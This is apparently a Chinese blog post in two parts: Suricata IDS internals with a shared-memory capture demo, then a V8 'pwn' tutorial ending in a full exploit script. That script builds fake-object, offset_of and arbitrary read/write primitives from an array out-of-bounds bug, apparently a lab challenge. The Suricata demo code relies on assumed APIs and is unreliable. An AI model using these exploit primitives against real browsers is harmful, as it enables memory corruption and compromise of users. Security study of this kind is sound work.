Suricata通过共享内存获取流量+pwn-浏览器内核V8
Suricata通过共享内存获取流量
Introduction
Suricata是一个高性能的网络入侵检测和防御系统(IDS/IPS)。它是由OISF开发,完全开源,并且可以免费使用。https://github.com/OISF/suricata
Suricata由线程和队列组成,数据包在线程间传递通过队列实现。线程由多个线程模块组成,每个线程模块实现一种功能。
Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue, ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap,-r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads, queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,我们可以./suricata –list-runmodes查看运行模式,运行模式又细分为”autofp”, “single”,“wokers”。
Suricata 针对每种运行模式实现了对应的 ThreadVars 数据结构,从而在线程程度上操作数据。对应的数据结构分别位于对应模式的source文件里面,命名为:模式名字+ThreadVars。
共享内存(shared memory)指在多处理器的计算机系统中,可以被不同中央处理器(CPU)访问的大容量内存。由于多个CPU需要快速访问存储器,这样就要对存储器进行缓存(Cache)。任何一个缓存的数据被更新后,由于其他处理器也可能要存取,共享内存就需要立即更新,否则不同的处理器可能用到不同的数据。共享内存是 Unix下的多进程之间的通信方法,这种方法通常用于一个程序的多进程间通信,实际上多个程序间也可以通过共享内存来传递信息。
Suricata安装
添加 Suricata PPA(个人包档案)并安装 Suricata,添加 OISF(Open Information Security Foundation)的 PPA:
sudo add-apt-repository ppa:oisf/suricata-stable sudo apt update
安装 Suricata:
sudo apt install suricata -y
安装完成后,运行以下命令以验证 Suricata 是否正确安装:
suricata --build-info
Suricata配置
创建配置文件的备份,修改之前一定要先备份
sudo cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak
Suricata的可执行文件默认在/usr/bin下,配置文件默认在/etc/suricata下
可以通过Suricata内置的测试模式检查配置文件和其他规则的有效性
sudo suricata -T -c /etc/suricata/suricata.yaml -v
在/etc/suricata/suricata.yaml中可以更改要监控的网络接口
运行前的测试
以下是我笔记本上的各个网络接口
这里我用wifi0接口测试能否正常运行
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
Suricata运行模式
- Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue,ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap, -r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads,queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,运行模式又细分为”autofp”, “single”,“wokers”.
IDS(入侵检测系统)模式
特点:仅检测不阻止。
数据获取:通常使用 Libpcap 或 AF_PACKET 抓包。
流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 日志/报警。
优势:简单配置,不影响流量。
劣势:不能阻止攻击,只能告警。
IPS(入侵防御系统)模式
特点:检测并阻止。
数据获取:通常使用 NFQUEUE 或 AF_PACKET 抓包。
流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 阻止/通过流量。
优势:可以阻止攻击。
劣势:配置复杂,可能影响网络性能。
流的分配
当suricata收到一个特定协议(
ipv6
,icmp
,sctp
,tcp
,udp
)的packet后,会计算一个流的hash值,设置PKT_WANTS_FLOW
标志。void FlowSetupPacket(Packet *p) { p->flags |= PKT_WANTS_FLOW; p->flow_hash = FlowGetHash(p); }
FlowWorker
会基于PKT_WANTS_FLOW
标志,进行流的查找或分配。static TmEcode FlowWorker(ThreadVars *tv, Packet *p, void *data, PacketQueue *preq, PacketQueue *unused) { /* handle Flow */ if (p->flags & PKT_WANTS_FLOW) { FLOWWORKER_PROFILING_START(p, PROFILE_FLOWWORKER_FLOW); FlowHandlePacket(tv, fw->dtv, p); if (likely(p->flow != NULL)) { DEBUG_ASSERT_FLOW_LOCKED(p->flow); if (FlowUpdate(tv, fw, p) == TM_ECODE_DONE)
通过对流进行哈希检索:查找包含流指针的哈希桶
void FlowHandlePacket(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p) { ... Flow *f = FlowGetFlowFromHash(tv, dtv, p, &p->flow); ... p->flags |= PKT_HAS_FLOW; return; } Flow *FlowGetFlowFromHash(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p, Flow **dest) { Flow *f = NULL; /* get our hash bucket and lock it */ const uint32_t hash = p->flow_hash; FlowBucket *fb = &flow_hash[hash % flow_config.hash_size]; FBLOCK_LOCK(fb);
如果桶内没有任何流,分配一条新的流
if (fb->head == NULL) { f = FlowGetNew(tv, dtv, p); if (f == NULL) { FBLOCK_UNLOCK(fb); return NULL; } /* flow is locked */ fb->head = f; fb->tail = f; /* got one, now lock, initialize and return */ FlowInit(f, p); f->flow_hash = hash; f->fb = fb; FlowUpdateState(f, FLOW_STATE_NEW); FlowReference(dest, f); FBLOCK_UNLOCK(fb); return f; }
将包与找到的流进行比较
/* see if this is the flow we are looking for */ if (FlowCompare(f, p) == 0) { Flow *pf = NULL; /* previous flow */ while (f) { ... if (FlowCompare(f, p) != 0) { ... return f; }
流的队列
spare队列
spare队列存储着备用的、未使用的、预分配的流。
FlowQueue flow_spare_q; FlowQueueInit(&flow_spare_q);
入队
flow_spare_q
的入队的操作,主要发生在:
初始化时的预分配
void FlowInitConfig(char quiet) { ... /* pre allocate flows */ for (i = 0; i < flow_config.prealloc; i++) { ... Flow *f = FlowAlloc(); if (f == NULL) { SCLogError(SC_ERR_FLOW_INIT, "preallocating flow failed: %s", strerror(errno)); exit(EXIT_FAILURE); } FlowEnqueue(&flow_spare_q,f); }
流管理检查时的补足
int FlowUpdateSpareFlows(void) { ... if (len < flow_config.prealloc) { toalloc = flow_config.prealloc - len; uint32_t i; for (i = 0; i < toalloc; i++) { Flow *f = FlowAlloc(); if (f == NULL) return 0; FlowEnqueue(&flow_spare_q,f); }
流的回收,即从
flow_recycle_q
到flow_spare_q
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data) { ... while ((f = FlowDequeue(&flow_recycle_q)) != NULL) { FLOWLOCK_WRLOCK(f); (void)OutputFlowLog(th_v, ftd->output_thread_data, f); FlowClearMemory (f, f->protomap); FLOWLOCK_UNLOCK(f); FlowMoveToSpare(f); recycled_cnt++; } }
出队
flow_spare_q
的出队的操作,主要发生在:
流的分配
static Flow *FlowGetNew(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p) { ... /* get a flow from the spare queue */ f = FlowDequeue(&flow_spare_q);
Flow *FlowGetFromFlowKey(FlowKey *key, struct timespec *ttime, const uint32_t hash) { ... /* No existing flow so let's get one new */ f = FlowDequeue(&flow_spare_q);
释放多余的分配的流
int FlowUpdateSpareFlows(void) { ... } else if (len > flow_config.prealloc) { tofree = len - flow_config.prealloc; uint32_t i; for (i = 0; i < tofree; i++) { /* FlowDequeue locks the queue */ Flow *f = FlowDequeue(&flow_spare_q); if (f == NULL) return 1;
进程退出
void FlowShutdown(void) { ... /* free queues */ while((f = FlowDequeue(&flow_spare_q))) { FlowFree(f); }
recycle队列
recycle队列存储着将传递到清理、日志线程的流。
FlowQueue flow_recycle_q; FlowQueueInit(&flow_recycle_q);
入队
flow_recycle_q
的入队的操作,主要发生在:
流超时进行回收
static uint32_t FlowManagerHashRowTimeout(Flow *f, struct timeval *ts, ... /* no one is referring to this flow, use_cnt 0, removed from hash * so we can unlock it and pass it to the flow recycler */ FLOWLOCK_UNLOCK(f); FlowEnqueue(&flow_recycle_q, f);
进程退出时,对流hash桶中的流进行回收处理
static uint32_t FlowManagerHashRowCleanup(Flow *f) { ... /* no one is referring to this flow, use_cnt 0, removed from hash * so we can unlock it and move it to the recycle queue. */ FLOWLOCK_UNLOCK(f); FlowEnqueue(&flow_recycle_q, f);
出队
flow_recycle_q
的出队的操作,主要发生在:
流的回收,即从
flow_recycle_q
到flow_spare_q
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data) { ... while ((f = FlowDequeue(&flow_recycle_q)) != NULL) { FLOWLOCK_WRLOCK(f); (void)OutputFlowLog(th_v, ftd->output_thread_data, f); FlowClearMemory (f, f->protomap); FLOWLOCK_UNLOCK(f); FlowMoveToSpare(f); recycled_cnt++; } }
进程退出
void FlowShutdown(void) { ... while((f = FlowDequeue(&flow_recycle_q))) { FlowFree(f); }
实现 Suricata 从共享内存中读取流量数据的 demo
添加新抓包驱动
首先,需要在 Suricata 源代码中添加一个新的抓包驱动。找到
source-af-packet.c
或其他现有抓包驱动文件,作为新驱动实现的模板。文件
source-sharedmem.c
#include "suricata-common.h" #include "source.h" #include "decode.h" #include "util-sharedmem.h" // 假设我们有一个处理共享内存的工具 // 定义抓包驱动的初始化函数 int SharedMemInit(ConfNode *conf, const char *device, void **data) { // 初始化共享内存 *data = SharedMemAttach(device); if (*data == NULL) { return -1; } return 0; } // 定义抓包驱动的关闭函数 void SharedMemClose(void *data) { // 关闭共享内存 SharedMemDetach(data); } // 定义抓包驱动的读取函数 int SharedMemRead(void *data, Packet *p) { // 从共享内存中读取数据 return SharedMemFetch(data, p); } // 定义抓包驱动的配置结构 CaptureInterface shared_mem_iface = { .name = "sharedmem", .Init = SharedMemInit, .Close = SharedMemClose, .Read = SharedMemRead, }; // 在 Suricata 初始化时注册抓包驱动 void TmModuleSharedMemRegister(void) { TmModuleRegisterCaptureInterface(&shared_mem_iface); }
然后,在 tm-threads.c
文件中注册新的抓包驱动:
extern void TmModuleSharedMemRegister(void);
void TmThreadsRegisterAll(void) {
// ... 其他抓包驱动注册
TmModuleSharedMemRegister();
}
添加新的运行模式
找到 Suricata 源代码中的
runmodes.c
文件,并添加新的运行模式,例如sharedmem
#include "runmode-sharedmem.h" void RunModeRegisterAll(void) { // ... 其他运行模式注册 RunModeRegister("sharedmem", RunModeSharedMemAutoFp); }
在
runmode-sharedmem.c
文件中实现新的运行模式:#include "suricata-common.h" #include "threads.h" #include "source.h" #include "runmode.h" void RunModeSharedMemAutoFp(void) { // 配置线程和队列 if (InitAutoFp() < 0) { return; } // 创建和启动线程 TmThreadSpawn(&shared_mem_iface, NULL); // 处理线程队列 TmThreadsSlotScheduler(); }
修改 ThreadVars 数据结构
为新的运行模式创建对应的
ThreadVars
数据结构:typedef struct SharedMemThreadVars_ { // 定义线程变量 void *shared_mem; } SharedMemThreadVars;
在
runmode-sharedmem.c
文件中使用该数据结构:#include "runmode-sharedmem.h" int InitAutoFp(void) { // 初始化线程变量 SharedMemThreadVars *tv = SCMalloc(sizeof(SharedMemThreadVars)); if (tv == NULL) { return -1; } // 初始化共享内存 tv->shared_mem = SharedMemAttach("/path/to/shared_mem"); if (tv->shared_mem == NULL) { return -1; } return 0; }
实现从共享内存读取流量数据的 demo
#include <stdio.h>
#include <stdlib.h>
#include "util-sharedmem.h"
int main(void) {
// 附加到共享内存
void *shared_mem = SharedMemAttach("/path/to/shared_mem");
if (shared_mem == NULL) {
fprintf(stderr, "Failed to attach shared memory\n");
return -1;
}
// 读取数据包
Packet p;
while (SharedMemFetch(shared_mem, &p) == 0) {
// 处理数据包
ProcessPacket(&p);
}
// 分离共享内存
SharedMemDetach(shared_mem);
return 0;
}
Pwn-浏览器内核V8
V8环境搭建
编译V8
Ubuntu 18.04操作系统
下载用于Chromium开发的工具depot_tools,用于V8的编译
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
将
depot_tools
添加到环境变量PATH
的末尾export PATH=$PATH:<path to depot_tools>
挂好代理,进入到
depot_tools
。直接安装会ninja
报错需要先将版本回退到138bff28
** 并且将DEPOT_TOOLS_UPDATE
设为 0 。之后更新depot_tools
。git reset --hard 138bff28 export DEPOT_TOOLS_UPDATE=0 gclient
下载
v8
,这个时间比较长,下载完后目录下会多一个v8
文件夹。fetch v8
首先安装浏览器然后再网址栏中输入
chrome://version
查看版本,例如:112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)
打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
然后在项目根目录下的
DEPS
文件中查看V8
版本:编译
v8
,这里选的release
版本。debug
版本改为x64.debug
,32 为版本将x64
改为ia32
。如果调试漏洞的话, 最好选择release
版本 因为debug
版本可能会有很多检查。另外如果出现路径错误需要切换到
./tools/dev/
路径再进行编译。不过这样编译最终生成的d8
在tools/dev/out/x64.release
目录下。编译生成的
d8
在./out/x64.release/d8
中。
调试V8
在
~/.gdbinit
添加v8
的调试插件:source` `/path/to/v8/tools/gdbinit source` `/path/to/v8/tools/gdb-v8-support``.py
常见参数:
-
--allow-natives-syntax
开启原生API (用的比较多) -
--trace-turbo
跟踪生成TurboFan IR -
--print-bytecode
打印生成的bytecode -
--shell
运行脚本后切入交互模式 - 更多参数可以参考
--help
-
调试 js 脚本时可以采用如下命令:
gdb ./d8 r --allow-natives-syntax --shell ./exp.js
安装 turbolizer
turbolizer
是一个可视化分析 JS 优化的工具,安装命令如下:sudo apt install npm cd /path/to/v8/tools/turbolizer sudo npm install n -g sudo n 16.20.0 # sudo n latest sudo npm i sudo npm run-script build
由于 Ubuntu18.04 默认的
node
版本过低,需要安装16.20.0
版本最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口
python -m SimpleHTTPServer 8000
编写一个 js 脚本:
%OptimizeFunctionOnNextCall
内置函数可以直接触发强行触发优化。function add(a, b) { return a + b; } //%OptimizeFunctionOnNextCall(add); for (let i = 0; i < 10000000; i++) { add(i, i + 1); }
运行 js 脚本并使用
--trace-turbo
参数.``/d8` `--trace-turbo --allow-natives-syntax .``/test``.js
此时会生成如下文件:
在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问
http://127.0.0.1:8000/path/to/v8/tools/turbolizer/
(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。
任意地址对象伪造漏洞复现
如果存在任意地址对象伪造漏洞(
fake_object
原语),则我们可以在一个大的DoubleArray
中伪造一个DoubleArray
然后实现offset_of
,arbitrary_offset_read
,arbitrary_offset_write
原语。首先我们先创建一个大的DoubleArray
并在里面伪造一个DoubleArray
。这里需要注意的是:通过调试可知,我们只需要伪造
map
的前 16 字节即可。而map
的前 16 字节基本是不变的。let spray_array = new Array(0xf700).fill(1.1); let spray_array_data_offset = 0x00202141n + 7n; // spray_array 的 element 中成员的起始地址 let map_offset = spray_array_data_offset + 0x1000n; // 伪造的 map 在沙箱中的偏移 let fake_double_array_offset = map_offset + 0x1000n; // 伪造的 fake_double_array 在沙箱中的偏移 // 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。 spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n); spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an); // fake_double_array 的 map 指针指向伪造的 map spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n)); // 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array let fake_double_array = trigger(fake_double_array_offset | 1n);
offset_of
原语实现:我们只需要再申请一个大的ObjectArray
(我们称之为spray_object_array
)然后让伪造的DoubleArray
的elements
指针指向spray_object_array
的elements
(elements
在沙箱内偏移固定)造成类型混淆。let spray_object_array = ``new` `Array(0xf700).fill({}); let object_array_element_offset = 0x00282141n;
function` `offset_of(object) { ``// 将 object 添加到 spray_object_array 的 elements 中 ``spray_object_array[0] = object; ``// fake_double_array 的 elements 指针指向 spray_object_array 的 elements ``spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n)); ``// 从 fake_double_array 读出 object 在沙箱中的偏移 ``return` `d2u(fake_double_array[0]) & 0xFFFFFFFFn; }
function arbitrary_offset_read(address) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); return d2u(fake_double_array[0]); } function arbitrary_offset_write(address, value) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); fake_double_array[0] = u2d(value);8. `arbitrary_offset_read` 和 `arbitrary_offset_write` 原语实现:直接通过 `apray_array` 修改 `elements` 然后读写 `fake_double_array` 实现。 9. ![](https://strongwillpro.oss-cn-beijing.aliyuncs.com/img/20240713212409.png)
let array_buffer = new ArrayBuffer(0x8); let data_view = new DataView(array_buffer); function d2u(value) { data_view.setFloat64(0, value); return data_view.getBigUint64(0); } function u2d(value) { data_view.setBigUint64(0, value); return data_view.getFloat64(0); } function hex(val) { return '0x' + val.toString(16).padStart(16, "0"); } let oob_array = [.1]; let object_array = [{}]; let double_array = [.1]; let rw_array = [.1]; oob_array.len(0x1337); let object_array_map = d2u(oob_array[8]); let double_array_map = d2u(oob_array[12]); console.log("[*] object array map: " + hex(object_array_map & 0xFFFFFFFFn)); console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn)); function trigger(offset) { oob_array[12] = u2d(double_array_map); double_array[0] = u2d(offset); oob_array[12] = u2d((object_array_map & 0xFFFFFFFFn) | (double_array_map & 0xFFFFFFFF00000000n)); return double_array[0]; } let spray_array = new Array(0xf700).fill(1.1); let spray_array_data_offset = 0x00202141n + 7n; let map_offset = spray_array_data_offset + 0x1000n; let fake_double_array_offset = map_offset + 0x1000n; spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n); spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an); spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));; let fake_double_array = trigger(fake_double_array_offset | 1n); let spray_object_array = new Array(0xf700).fill({}); let object_array_element_offset = 0x00282141n; function offset_of(object) { spray_object_array[0] = object; spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n)); return d2u(fake_double_array[0]) & 0xFFFFFFFFn; } function arbitrary_offset_read(address) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); return d2u(fake_double_array[0]); } function arbitrary_offset_write(address, value) { spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n)); fake_double_array[0] = u2d(value); } let a = [1, 2, 3, 4]; % DebugPrint(a); arbitrary_offset_write(offset_of(a), 0xdeadbeefn); // % DebugPrint(oob_array); // console.log(hex(offset_of(oob_array))); % SystemBreak();10. 完整exp